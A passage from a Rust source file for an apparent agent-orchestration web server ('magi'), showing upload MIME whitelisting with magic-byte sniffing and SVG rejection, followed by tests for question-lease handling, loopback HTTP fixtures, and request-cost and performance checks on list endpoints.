11032 let declared = declared_mime(headers)?;
11033 match sniffed_mime(data) {
11034 Some(sniffed) if sniffed == declared => Ok(declared),
11035 Some(sniffed) => Err(ApiError::bad_request(format!(
11036 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11037 ))),
11038 None => Err(ApiError::bad_request(
11039 "the file's bytes do not match any accepted image format",
11040 )),
11041 }
11042}
11043
11044fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11048 let raw = headers
11049 .get(header::CONTENT_TYPE)
11050 .and_then(|v| v.to_str().ok())
11051 .unwrap_or("")
11052 .split(';')
11053 .next()
11054 .unwrap_or("")
11055 .trim()
11056 .to_ascii_lowercase();
11057 ATTACHMENT_MIME_WHITELIST
11058 .iter()
11059 .find(|&&m| m == raw)
11060 .copied()
11061 .ok_or_else(|| {
11062 if raw == "image/svg+xml" {
11063 ApiError::bad_request(
11064 "SVG is not accepted: it can carry active content (e.g. a <script>), \
11065 not just a picture",
11066 )
11067 } else if raw.is_empty() {
11068 ApiError::bad_request("Content-Type is required for an attachment upload")
11069 } else {
11070 ApiError::bad_request(format!(
11071 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11072 image/gif or image/webp"
11073 ))
11074 }
11075 })
11076}
11077
11078fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11081 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11082 Some("image/png")
11083 } else if data.starts_with(b"\xff\xd8\xff") {
11084 Some("image/jpeg")
11085 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11086 Some("image/gif")
11087 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11088 Some("image/webp")
11089 } else {
11090 None
11091 }
11092}
11093
11094fn filename_header(headers: &HeaderMap) -> String {
11100 headers
11101 .get(FILENAME_HEADER)
11102 .and_then(|v| v.to_str().ok())
11103 .map(str::trim)
11104 .filter(|s| !s.is_empty())
11105 .unwrap_or("attachment")
11106 .to_owned()
11107}
11108
11109fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11116 let content_type = ATTACHMENT_MIME_WHITELIST
11117 .iter()
11118 .find(|&&m| m == mime)
11119 .copied()
11120 .unwrap_or("application/octet-stream");
11121 (
11122 [
11123 (header::CONTENT_TYPE, content_type),
11124 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11125 ],
11126 body,
11127 )
11128 .into_response()
11129}
11130
11131async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11139 let repo = repo.to_path_buf();
11140 blocking(move || {
11141 let (cfg, _) = Config::discover(&repo, None)?;
11142 Ok(cfg)
11143 })
11144 .await
11145}
11146
11147fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11153 let mut hits = ids
11154 .into_iter()
11155 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11156 match (hits.next(), hits.next()) {
11157 (Some(one), None) => Ok(one),
11158 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11159 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11160 "`{prefix}` matches more than one {what}, including {a} and {b}"
11161 ))),
11162 }
11163}
11164
11165#[cfg(test)]
11166mod tests {
11167
11168 #[test]
11169 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11170 let dir = tempfile::tempdir().unwrap();
11171 let store = ask::Questions::at(dir.path().join("questions"));
11172 let mut q = Question::new(
11173 "task".to_owned(),
11174 "conduct".to_owned(),
11175 "conduct".to_owned(),
11176 "choose".to_owned(),
11177 String::new(),
11178 vec!["keep".to_owned()],
11179 );
11180 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11181 q.say("why?").unwrap();
11182 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11183 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11184 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11185 store.put(&mut q).unwrap();
11186 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11187 assert_eq!(store.count_needs_owner(), 1);
11188 store.beat(&q.id, ask::WaiterKind::Deputy);
11189 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11190 assert_eq!(store.count_needs_owner(), 0);
11191 let mut stale = store.read_lease(&q.id).unwrap();
11192 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11193 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11194 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11195 assert!(view.deputy_exhausted);
11196 assert!(view.waiting_on_agent);
11197 assert_eq!(view.question.choices, ["keep"]);
11198 store.drop_lease(&q.id);
11199 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11200 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11201 }
11202
11203 #[test]
11204 fn holder_reads_the_lease_not_the_record() {
11205 let mut q = Question::new(
11206 "run".to_owned(),
11207 "implement".to_owned(),
11208 "impl-A".to_owned(),
11209 "which?".to_owned(),
11210 String::new(),
11211 Vec::new(),
11212 );
11213 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11214 q.cwd = Some("/tmp".to_owned());
11215 assert_eq!(holder_of(&q, None), Some("nobody"));
11216 let beat = |kind, ago: i64| ask::Lease {
11217 kind,
11218 pid: 1,
11219 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11220 .unwrap(),
11221 };
11222 let fresh = beat(ask::WaiterKind::Asker, 1);
11223 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11224 let daemon = beat(ask::WaiterKind::Daemon, 1);
11225 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11226 let stale = beat(ask::WaiterKind::Asker, 3600);
11227 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11228
11229 let mut c = Question::new(
11232 "task".to_owned(),
11233 crate::conduct::NODE.to_owned(),
11234 "conduct".to_owned(),
11235 "which?".to_owned(),
11236 String::new(),
11237 Vec::new(),
11238 );
11239 assert_eq!(holder_of(&c, None), Some("nobody"));
11240 c.cwd = Some("/tmp".to_owned());
11241 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11242 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11243 let deputy = beat(ask::WaiterKind::Deputy, 1);
11244 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11245 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11246
11247 let mut r = Question::new(
11249 String::new(),
11250 crate::bump::NOTICE_NODE.to_owned(),
11251 "release-watch".to_owned(),
11252 "stuck?".to_owned(),
11253 String::new(),
11254 vec!["hold".to_owned()],
11255 );
11256 assert_eq!(holder_of(&r, None), Some("nobody"));
11257 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11258 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11259 r.deputy = None;
11261 r.seat = "bump".to_owned();
11262 assert_eq!(holder_of(&r, None), None);
11263
11264 let mut m = Question::new(
11267 "run".to_owned(),
11268 crate::land::APPROVAL_NODE.to_owned(),
11269 "land".to_owned(),
11270 "merge?".to_owned(),
11271 String::new(),
11272 Vec::new(),
11273 );
11274 assert_eq!(holder_of(&m, None), Some("nobody"));
11275 assert_eq!(
11276 holder_of(&m, Some(&fresh)),
11277 Some("asker"),
11278 "a live explicit wait is a listener even before a deputy is attached"
11279 );
11280 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11281 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11282 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11283 assert_eq!(holder_of(&m, None), Some("nobody"));
11284 }
11285
11286 fn stub_config() -> Config {
11287 Config {
11290 agents: vec![crate::config::AgentSpec {
11291 id: "stub".to_owned(),
11292 kind: AgentKind::Command,
11293 model: None,
11294 command: vec!["true".to_owned()],
11295 extra_args: Vec::new(),
11296 env: Default::default(),
11297 prompt_delivery: None,
11298 max_turn_secs: None,
11299 }],
11300 ..Config::default()
11301 }
11302 }
11303
11304 fn plain_question(seat: &str) -> Question {
11305 Question::new(
11306 String::new(),
11307 "n".to_owned(),
11308 seat.to_owned(),
11309 "s".to_owned(),
11310 String::new(),
11311 Vec::new(),
11312 )
11313 }
11314
11315 #[test]
11316 fn deputies_enabled_follows_the_config() {
11317 let on = stub_config();
11318 assert!(crate::deputy::can_start(Some(&on), ""));
11319 assert!(crate::deputy::can_start(Some(&on), "stub"));
11320 let mut off = on.clone();
11321 off.daemon.max_deputies = 0;
11322 assert!(!crate::deputy::can_start(Some(&off), ""));
11323 let mut empty = on;
11324 empty.agents.clear();
11325 assert!(!crate::deputy::can_start(Some(&empty), ""));
11326 assert!(!crate::deputy::can_start(None, ""));
11327 }
11328
11329 #[test]
11330 fn question_views_load_the_config_once() {
11331 let dir = TempDir::new().unwrap();
11332 let store = ask::Questions::at(dir.path().to_path_buf());
11333 let mut with_deputy = plain_question("b");
11334 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11335 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11336
11337 let calls = std::cell::Cell::new(0usize);
11338 let views = question_views(qs.clone(), &store, || {
11339 calls.set(calls.get() + 1);
11340 Some(stub_config())
11341 });
11342 assert_eq!(calls.get(), 1);
11343 assert_eq!(views.len(), 3);
11344 for (v, q) in views.iter().zip(&qs) {
11345 assert_eq!(
11346 v.deputies_enabled,
11347 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11348 );
11349 }
11350
11351 let views = question_views(qs, &store, || None);
11352 assert!(views.iter().all(|v| !v.deputies_enabled));
11353
11354 let calls = std::cell::Cell::new(0usize);
11355 let views = question_views(Vec::new(), &store, || {
11356 calls.set(calls.get() + 1);
11357 None
11358 });
11359 assert!(views.is_empty());
11360 assert_eq!(calls.get(), 0);
11361 }
11362
11363 use pretty_assertions::assert_eq;
11364 use serde_json::Value;
11365 use tempfile::TempDir;
11366 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11367
11368 use super::*;
11369 use crate::config::Config;
11370 use crate::queue::Source;
11371
11372 const SETTLE_STEPS: usize = 3_000;
11383
11384 struct Fixture {
11390 home: TempDir,
11391 addr: SocketAddr,
11392 }
11393
11394 impl Fixture {
11395 async fn start() -> Self {
11396 Self::with_loop(launch_idle).await
11397 }
11398
11399 async fn with_loop(launch: Launch) -> Self {
11401 let home = TempDir::new().expect("temp home");
11402 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11403 Self { home, addr }
11404 }
11405
11406 async fn with_repo(repo: PathBuf) -> Self {
11410 let home = TempDir::new().expect("temp home");
11411 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11412 Self { home, addr }
11413 }
11414
11415 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11418 let home = TempDir::new().expect("temp home");
11419 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11420 Self { home, addr }
11421 }
11422
11423 async fn serve(
11424 home: &FsPath,
11425 repo: PathBuf,
11426 launch: Launch,
11427 machine: Option<PathBuf>,
11428 ) -> SocketAddr {
11429 let queue = Queue::at(home.join("queue"));
11430 let runs = home.join("runs");
11431 std::fs::create_dir_all(&runs).expect("runs dir");
11432 let worktrees = home.join("wt").join("magi");
11433 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11434 let ui = Ui::new(
11435 queue,
11436 Questions::at(home.join("questions")),
11437 Talks::at(home.join("talks")),
11438 runs,
11439 home.to_path_buf(),
11440 repo,
11441 )
11442 .with_worktrees_root(worktrees)
11443 .with_machine_config(machine)
11444 .with_launch(launch);
11445 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11446 .await
11447 .expect("bind loopback");
11448 let addr = listener.local_addr().expect("local addr");
11449 tokio::spawn(async move {
11450 let router = ui
11451 .router()
11452 .layer(axum::middleware::from_fn(request_cost::observe));
11453 let _ = axum::serve(listener, router).await;
11454 });
11455 addr
11456 }
11457
11458 fn queue(&self) -> Queue {
11459 Queue::at(self.home.path().join("queue"))
11460 }
11461
11462 fn questions(&self) -> Questions {
11463 Questions::at(self.home.path().join("questions"))
11464 }
11465
11466 fn talks(&self) -> Talks {
11467 Talks::at(self.home.path().join("talks"))
11468 }
11469
11470 fn runs(&self) -> PathBuf {
11471 self.home.path().join("runs")
11472 }
11473
11474 async fn get(&self, path: &str) -> Res {
11475 request(self.addr, "GET", path, None).await
11476 }
11477
11478 async fn head(&self, path: &str) -> Res {
11483 request(self.addr, "HEAD", path, None).await
11484 }
11485
11486 async fn post(&self, path: &str, body: Option<&str>) -> Res {
11487 request(self.addr, "POST", path, body).await
11488 }
11489
11490 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11491 request_with(self.addr, "GET", path, None, extra).await
11492 }
11493
11494 async fn delete(&self, path: &str) -> Res {
11495 request(self.addr, "DELETE", path, None).await
11496 }
11497
11498 async fn put(&self, path: &str, body: &str) -> Res {
11499 request(self.addr, "PUT", path, Some(body)).await
11500 }
11501
11502 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11504 request_bytes(self.addr, path, headers, body).await
11505 }
11506 }
11507
11508 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11511 let tmp = TempDir::new().unwrap();
11512 let mut repos = Vec::new();
11513 for name in ["one", "two"] {
11514 let repo = tmp.path().join(name);
11515 let origin = tmp.path().join(format!("{name}.git"));
11516 std::fs::create_dir_all(&repo).unwrap();
11517 crate::git::git(&repo, &["init", "-b", "main"])
11518 .await
11519 .unwrap();
11520 std::fs::write(
11521 repo.join("magi.toml"),
11522 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11523 )
11524 .unwrap();
11525 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11526 crate::git::git(
11527 &repo,
11528 &[
11529 "-c",
11530 "user.name=fixture",
11531 "-c",
11532 "user.email=fixture@example.invalid",
11533 "commit",
11534 "-m",
11535 "fixture",
11536 ],
11537 )
11538 .await
11539 .unwrap();
11540 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11541 .await
11542 .unwrap();
11543 crate::git::git(
11544 &repo,
11545 &["remote", "add", "origin", origin.to_str().unwrap()],
11546 )
11547 .await
11548 .unwrap();
11549 crate::git::git(&repo, &["push", "origin", "main"])
11550 .await
11551 .unwrap();
11552 crate::git::git(
11553 &repo,
11554 &[
11555 "symbolic-ref",
11556 "refs/remotes/origin/HEAD",
11557 "refs/remotes/origin/main",
11558 ],
11559 )
11560 .await
11561 .unwrap();
11562 let (cfg, _) = Config::discover(&repo, None).unwrap();
11563 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11564 repos.push(repo);
11565 }
11566 let repos: [PathBuf; 2] = repos.try_into().unwrap();
11567 (tmp, repos)
11568 }
11569
11570 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11571 let (tmp, repos) = performance_repositories().await;
11572 let machine = tmp.path().join("machine.toml");
11573 std::fs::write(&machine, "").unwrap();
11574 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11575 (tmp, repos, fx)
11576 }
11577
11578 fn seed_performance(
11579 fx: &Fixture,
11580 repos: &[PathBuf; 2],
11581 questions: usize,
11582 runs: usize,
11583 items: usize,
11584 ) {
11585 for i in fx.questions().list().len()..questions {
11587 let mut question = Question::new(
11588 "20261001-000000-0000".into(),
11589 "implement".into(),
11590 "impl-A".into(),
11591 format!("question {i}"),
11592 "context".into(),
11593 vec!["yes".into(), "no".into()],
11594 );
11595 question.id = format!("20261003-000000-{i:04x}");
11596 fx.questions().put(&mut question).unwrap();
11597 }
11598 for i in run_ids(&fx.runs()).len()..runs {
11599 write_run_repo(
11600 &fx.runs(),
11601 &format!("20261001-000000-{i:04x}"),
11602 RunStatus::Ready,
11603 repos[i % 2].to_str().unwrap(),
11604 );
11605 }
11606 for i in fx.talks().list().len()..items {
11607 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11608 let mut talk = fx.talks().get(&id).unwrap();
11609 talk.repo = repos[i % 2].clone();
11610 fx.talks().put(&mut talk).unwrap();
11611 let mut task = crate::queue::Task::new(
11612 format!("task {i}"),
11613 "instruction".into(),
11614 repos[i % 2].clone(),
11615 crate::queue::Source::Agent {
11616 run: id,
11617 node: crate::queue::CHAT_NODE.into(),
11618 },
11619 );
11620 task.id = format!("20261004-000000-{i:04x}");
11621 fx.queue().put(&mut task).unwrap();
11622 if i < crate::notices::CAP {
11624 Notices::at(fx.home.path().join("notifications"))
11625 .raise(Notice::info(&format!("notice-{i}"), "notification"))
11626 .unwrap();
11627 }
11628 }
11629 assert_eq!(fx.questions().list().len(), questions);
11630 assert_eq!(run_ids(&fx.runs()).len(), runs);
11631 assert_eq!(fx.talks().list().len(), items);
11632 assert_eq!(fx.queue().list().len(), items);
11633 assert_eq!(
11634 Notices::at(fx.home.path().join("notifications"))
11635 .list()
11636 .len(),
11637 items.min(crate::notices::CAP)
11638 );
11639 }
11640
11641 #[tokio::test]
11642 async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11643 let home = TempDir::new().unwrap();
11644 let root = home.path().canonicalize().unwrap();
11645 let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11646 let fx = Fixture { home, addr };
11647 let repo = root.as_path().join("archive-repo");
11648 std::fs::create_dir(&repo).unwrap();
11649 crate::git::git(&repo, &["init", "-b", "main"])
11650 .await
11651 .unwrap();
11652 crate::git::git(&repo, &["config", "user.name", "Fixture"])
11653 .await
11654 .unwrap();
11655 crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11656 .await
11657 .unwrap();
11658 crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11659 .await
11660 .unwrap();
11661 std::fs::write(repo.join("source"), "base").unwrap();
11662 crate::git::git(&repo, &["add", "."]).await.unwrap();
11663 crate::git::git(&repo, &["commit", "-m", "base"])
11664 .await
11665 .unwrap();
11666 let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11667 std::fs::write(repo.join("source"), "archived review").unwrap();
11668 crate::git::git(&repo, &["commit", "-am", "review"])
11669 .await
11670 .unwrap();
11671 let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11672 let mut config = Config::default();
11673 config.graph.worktree_root = Some(root.as_path().join("copies"));
11674 let mut state = RunState::new(
11675 repo.clone(),
11676 "main".into(),
11677 base.clone(),
11678 "archive".into(),
11679 config,
11680 );
11681 state.id = "20260101-000000-ef05".into();
11682 state.status = RunStatus::Ready;
11683 state.save_under(root.as_path()).unwrap();
11684 let evidence =
11685 crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11686 .await
11687 .unwrap();
11688 let base_evidence =
11689 crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11690 .await
11691 .unwrap();
11692 let source = state.worktree_root().join("review-1");
11693 let mut contents = std::collections::BTreeMap::new();
11694 contents.insert(
11695 repo.join("logs/HEAD"),
11696 format!("{base} {head} fixture\n").into_bytes(),
11697 );
11698 let record = serde_json::json!({
11699 "version":1, "run":state.id, "source":source, "head":head,
11700 "evidence":evidence, "admin":{}, "admin_contents":contents,
11701 "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11702 });
11703 std::fs::write(
11704 fx.runs()
11705 .join(&state.id)
11706 .join("artifacts/eviction-review-1.json"),
11707 serde_json::to_vec(&record).unwrap(),
11708 )
11709 .unwrap();
11710 std::fs::remove_dir_all(&repo).unwrap();
11711 let url = format!("/api/runs/{}/seat-evidence", state.id);
11712 let list = fx.get(&url).await;
11713 assert_eq!(list.status, 200, "{}", list.body);
11714 assert_eq!(list.json()[&head], "review-1");
11715 let patch = fx.get(&format!("{url}/{head}")).await;
11716 assert_eq!(patch.status, 200, "{}", patch.body);
11717 assert!(patch.body.contains("+archived review"));
11718 assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11719 std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11720 assert_eq!(fx.get(&url).await.status, 404);
11721 assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11722 }
11723
11724 fn request_counts(res: &Res) -> (usize, usize) {
11725 assert_eq!(res.status, 200, "{}", res.body);
11726 (
11727 res.header("x-test-discoveries").unwrap().parse().unwrap(),
11728 res.header("x-test-git").unwrap().parse().unwrap(),
11729 )
11730 }
11731
11732 #[tokio::test]
11733 async fn list_request_cost_is_independent_of_record_count() {
11734 let (_tmp, repos, fx) = performance_fixture().await;
11735 let mut previous = None;
11736 for n in [4, 60] {
11737 seed_performance(&fx, &repos, n, n, n);
11738 let mut costs = Vec::new();
11739 for (path, discoveries) in [
11740 ("/api/questions", 1),
11741 ("/api/talks", 0),
11742 ("/api/health", 0),
11743 ("/api/stats", 1),
11744 ] {
11745 for repo in &repos {
11748 let cache = repo.join(".git/magi/config");
11749 if cache.exists() {
11750 std::fs::remove_dir_all(cache).unwrap();
11751 }
11752 }
11753 let cost = request_counts(&fx.get(path).await);
11754 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11755 assert_eq!(cost.0, discoveries, "{path}, N={n}");
11756 assert!(
11757 cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11758 "{path}: {cost:?}"
11759 );
11760 costs.push(cost);
11761 }
11762 if let Some(previous) = previous {
11763 assert_eq!(costs, previous);
11764 }
11765 previous = Some(costs);
11766 }
11767 }
11771
11772 #[tokio::test]
11775 async fn list_handler_cost_without_transport() {
11776 let (_tmp, repos) = performance_repositories().await;
11777 let fx = Fixture {
11778 home: TempDir::new().unwrap(),
11779 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11780 };
11781 let ui = Arc::new(
11782 Ui::new(
11783 fx.queue(),
11784 fx.questions(),
11785 fx.talks(),
11786 fx.runs(),
11787 fx.home.path().to_path_buf(),
11788 repos[0].clone(),
11789 )
11790 .with_worktrees_root(fx.home.path().join("wt")),
11791 );
11792 let mut previous = None;
11793 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11794 seed_performance(&fx, &repos, n, runs, items);
11795 let mut costs = Vec::new();
11796 for endpoint in ["questions", "talks", "health", "stats"] {
11797 for repo in &repos {
11798 let cache = repo.join(".git/magi/config");
11799 if cache.exists() {
11800 std::fs::remove_dir_all(cache).unwrap();
11801 }
11802 }
11803 let (_, cost) = request_cost::measure(async {
11804 match endpoint {
11805 "questions" => {
11806 let _ = questions_list(State(ui.clone())).await.unwrap();
11807 }
11808 "talks" => {
11809 let _ = talks_list(
11810 State(ui.clone()),
11811 Query(ListQuery {
11812 limit: None,
11813 ids: None,
11814 }),
11815 header::HeaderMap::new(),
11816 )
11817 .await
11818 .unwrap();
11819 }
11820 "health" => {
11821 let _ = health(State(ui.clone())).await.unwrap();
11822 }
11823 _ => {
11824 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11825 .await
11826 .unwrap();
11827 }
11828 }
11829 })
11830 .await;
11831 eprintln!("{endpoint} handler N={n}: {cost:?}");
11832 assert_eq!(
11833 cost.0,
11834 if matches!(endpoint, "talks" | "health") {
11835 0
11836 } else {
11837 1
11838 },
11839 "{endpoint}"
11840 );
11841 assert!(
11842 cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11843 "{endpoint}: {cost:?}"
11844 );
11845 costs.push(cost);
11846 }
11847 if let Some(previous) = previous {
11848 assert_eq!(costs, previous);
11849 }
11850 previous = Some(costs);
11851 }
11852 }
11853
11854 #[tokio::test]
11855 async fn list_request_cost_scopes_do_not_mix() {
11856 let (_tmp, repos, fx) = performance_fixture().await;
11857 seed_performance(&fx, &repos, 10, 0, 10);
11858 let (questions, talks, notices) = tokio::join!(
11859 fx.get("/api/questions"),
11860 fx.get("/api/talks"),
11861 fx.get("/api/notifications")
11862 );
11863 assert_eq!(request_counts(&questions).0, 1);
11864 assert_eq!(request_counts(&talks), (0, 0));
11867 assert_eq!(request_counts(¬ices), (0, 0));
11868 }
11869
11870 #[tokio::test]
11871 async fn list_endpoints_large_home_responses() {
11872 check_large_home_endpoints(false).await;
11873 }
11874
11875 #[tokio::test]
11876 #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11877 async fn list_endpoints_large_home_ceiling() {
11878 check_large_home_endpoints(true).await;
11879 }
11880
11881 async fn check_large_home_endpoints(timed: bool) {
11882 let (_tmp, repos, fx) = performance_fixture().await;
11883 seed_performance(&fx, &repos, 200, 300, 400);
11884 let mut failures = Vec::new();
11885 for path in [
11888 "/",
11889 "/app.js",
11890 "/app.css",
11891 "/api/questions",
11892 "/api/runs?limit=300",
11893 "/api/queue",
11894 "/api/talks",
11895 "/api/notifications",
11896 "/api/health",
11897 "/api/stats",
11898 "/api/loop",
11899 "/api/settings",
11900 "/api/repos",
11901 ] {
11902 let start = std::time::Instant::now();
11903 let result = if timed {
11904 tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11905 } else {
11906 Ok(fx.get(path).await)
11907 };
11908 let elapsed = start.elapsed();
11909 eprintln!("{path}: {elapsed:?}");
11910 match result {
11911 Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11912 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11913 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11914 }
11915 }
11916 assert!(failures.is_empty(), "{}", failures.join("\n"));
11917 }
11918
11919 struct Res {
11920 status: u16,
11921 headers: String,
11922 head: String,
11927 body: String,
11928 bytes: Vec<u8>,
11932 }
11933
11934 impl Res {
11935 fn json(&self) -> Value {
11936 serde_json::from_str(&self.body)
11937 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11938 }
11939
11940 fn header(&self, name: &str) -> Option<&str> {
11942 self.head.lines().find_map(|line| {
11943 let (key, value) = line.split_once(':')?;
11944 key.trim()
11945 .eq_ignore_ascii_case(name)
11946 .then(|| value.trim_start().trim_end_matches('\r'))
11947 })
11948 }
11949 }
11950
11951 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11954 request_with(addr, method, path, body, &[]).await
11955 }
11956
11957 async fn request_with(
11961 addr: SocketAddr,
11962 method: &str,
11963 path: &str,
11964 body: Option<&str>,
11965 extra: &[(&str, &str)],
11966 ) -> Res {
11967 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11968 for (name, value) in extra {
11969 head.push_str(&format!("{name}: {value}\r\n"));
11970 }
11971 if let Some(body) = body {
11972 head.push_str("Content-Type: application/json\r\n");
11973 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11974 }
11975 head.push_str("\r\n");
11976 if let Some(body) = body {
11977 head.push_str(body);
11978 }
11979 let mut socket = tokio::net::TcpStream::connect(addr)
11980 .await
11981 .expect("connect to the test server");
11982 socket
11983 .write_all(head.as_bytes())
11984 .await
11985 .expect("write request");
11986 let mut raw = Vec::new();
11987 socket.read_to_end(&mut raw).await.expect("read response");
11988 let split = raw
11991 .windows(4)
11992 .position(|w| w == b"\r\n\r\n")
11993 .expect("a header block");
11994 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11995 let bytes = raw[split + 4..].to_vec();
11996 let status = head
11997 .lines()
11998 .next()
11999 .and_then(|line| line.split_whitespace().nth(1))
12000 .and_then(|code| code.parse().ok())
12001 .expect("a status line");
12002 Res {
12003 status,
12004 headers: head.to_lowercase(),
12005 head,
12006 body: String::from_utf8_lossy(&bytes).into_owned(),
12007 bytes,
12008 }
12009 }
12010
12011 async fn request_bytes(
12017 addr: SocketAddr,
12018 path: &str,
12019 headers: &[(&str, &str)],
12020 body: &[u8],
12021 ) -> Res {
12022 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12023 for (name, value) in headers {
12024 head.push_str(&format!("{name}: {value}\r\n"));
12025 }
12026 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12027 let mut socket = tokio::net::TcpStream::connect(addr)
12028 .await
12029 .expect("connect to the test server");
12030 socket
12031 .write_all(head.as_bytes())
12032 .await
12033 .expect("write request head");
12034 socket.write_all(body).await.expect("write request body");
12035 let mut raw = Vec::new();
12036 socket.read_to_end(&mut raw).await.expect("read response");
12037 let split = raw
12038 .windows(4)
12039 .position(|w| w == b"\r\n\r\n")
12040 .expect("a header block");
12041 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12042 let bytes = raw[split + 4..].to_vec();
12043 let status = head
12044 .lines()
12045 .next()
12046 .and_then(|line| line.split_whitespace().nth(1))
12047 .and_then(|code| code.parse().ok())
12048 .expect("a status line");
12049 Res {
12050 status,
12051 headers: head.to_lowercase(),
12052 head,
12053 body: String::from_utf8_lossy(&bytes).into_owned(),
12054 bytes,
12055 }
12056 }
12057
12058 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12060 let mut state = RunState::new(
12061 PathBuf::from("/repo/magi"),
12062 "main".to_owned(),
12063 "0123456789abcdef".to_owned(),
12064 "Add a web UI\n\nMobile first.".to_owned(),
12065 Config::default(),
12066 );
12067 state.id = id.to_owned();
12068 state.status = status;
12069 let dir = runs.join(id);
12070 std::fs::create_dir_all(&dir).expect("run dir");
12071 std::fs::write(
12072 dir.join("run.json"),
